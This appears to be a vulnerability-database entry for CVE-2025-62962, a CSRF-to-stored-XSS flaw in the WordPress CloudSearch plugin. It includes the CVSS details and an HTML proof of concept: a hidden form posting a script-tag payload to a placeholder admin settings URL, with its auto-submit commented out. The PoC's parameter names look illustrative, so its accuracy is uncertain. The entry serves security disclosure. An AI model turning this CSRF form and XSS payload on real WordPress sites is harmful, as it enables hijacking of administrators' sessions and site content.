CVE-2025-62962

Description

Cross-Site Request Forgery (CSRF) vulnerability in Andrea Landonio CloudSearch cloud-search allows Stored XSS.This issue affects CloudSearch: from n/a through <= 3.0.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CloudSearch <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CVE-2025-62962 PoC: CSRF to Stored XSS in WordPress CloudSearch Plugin -->
<!-- This PoC demonstrates how an attacker can exploit the CSRF vulnerability to inject malicious JavaScript -->
<!-- Attack Scenario: Trick WordPress admin into visiting this page -->

<!DOCTYPE html>
<html>
<head>
    <title>CloudSearch Plugin CSRF to Stored XSS PoC</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .info { background: #f0f0f0; padding: 10px; margin: 10px 0; border-radius: 5px; }
        .hidden { display: none; }
    </style>
</head>
<body>
    <h2>CVE-2025-62962: CloudSearch CSRF → Stored XSS PoC</h2>
    
    <div class="info">
        <p><strong>Vulnerability:</strong> CSRF leading to Stored XSS in CloudSearch Plugin</p>
        <p><strong>Affected Version:</strong> <= 3.0.0</p>
        <p><strong>CVSS Score:</strong> 7.1 (High)</p>
    </div>

    <!-- 
        This form exploits the CSRF vulnerability by:
        1. Auto-submitting a crafted request to the CloudSearch plugin endpoint
        2. Injecting an XSS payload into the search functionality
        3. No CSRF token is required due to missing nonce verification
    -->
    
    <form id="exploitForm" action="http://target-wordpress-site/wp-admin/admin.php?page=cloud-search-settings" method="POST" class="hidden">
        <!-- CloudSearch plugin parameter that lacks CSRF protection -->
        <input type="text" name="cloudsearch_custom_field" value='<script>alert("XSS by CSRF - CVE-2025-62962")</script>'>
        <input type="text" name="action" value="save_settings">
        <input type="submit" id="autoSubmit">
    </form>

    <script>
        // Auto-submit the form when page loads
        // This simulates the CSRF attack without user awareness
        window.onload = function() {
            console.log("CSRF PoC for CVE-2025-62962 loaded");
            // In a real attack, this would auto-submit
            // document.getElementById('exploitForm').submit();
            
            // Display confirmation for demonstration
            document.getElementById('status').innerHTML = 
                "PoC Ready: Form will auto-submit on page load in actual attack scenario." +
                "<br>Target: WordPress admin with CloudSearch plugin installed" +
                "<br>Payload: <script>alert('XSS by CSRF - CVE-2025-62962')</script>";
        };
    </script>

    <p id="status" style="color: green; margin-top: 20px;"></p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62962
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62962
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62962/
[4] VulDB https://vuldb.com/cve/CVE-2025-62962
[5] https://patchstack.com/database/Wordpress/Plugin/cloud-search/vulnerability/wordpress-cloudsearch-plugin-3-0-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

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